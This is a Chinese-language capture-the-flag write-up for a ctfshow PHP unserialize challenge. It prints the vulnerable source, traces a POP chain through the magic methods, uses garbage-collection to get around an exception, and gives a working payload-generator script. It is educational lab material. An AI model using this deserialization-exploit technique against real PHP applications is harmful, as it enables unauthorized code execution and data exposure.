ctfshow 卷王杯 easy unserialize

<?php

include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

我们首先找到我们需要构造的pop链的尾部   

public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }        这里很明显可以输出flag。

这里有__destruc()魔术方法，所以我们pop的首部已经找到
   public function __destruct() {
        @$this->object->add();
    }

这里有throw new Exception 说明__destruct()魔术方法无法正常调用，这里就需要使用GC回收机制。
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);

这里为入口，首先进入到one类的__destruct魔术方法，然后看到调用了add()函数，但是解读代码发现这个函数是没有的，所以我们可以令objict=new second，进入到second的__call魔术方法  

public function __destruct() {
        @$this->object->add();
    }          

 public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }           进入到这里后，我们需要了解一下claa_user_func函数。

  public function __toString() {
        return $this->object->string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }  在__get魔术方法中，$name就是传进来的string，在$var[$name]()这个中
       我们可以通过使用数组来调用类中的方法，$name 是 "string"，那么 $var = $this->$name; 将得到 $var=$this->string。然后，$var[$name](); 就是 string['string']()。所以我们可以采用 $string = array("string"=>[new one(),"MeMeMe"]);便可以绕过，从而调用one类中的MeMeMe方法

<?
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");   //array_walk函数的作用就是遍历自定义函数，其中$fn的值为成员的值，prev为成员变量的名字


}

class second {
    public $filename;    //php7.1以上则对于类属性不敏感，把protected直接改为public即可

}

class third {
    private $string;
    public function __construct($string){
        $this->string=$string;
    }
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
$n=null;
$b=array($a,$n);
echo urlencode(serialize($b));

?>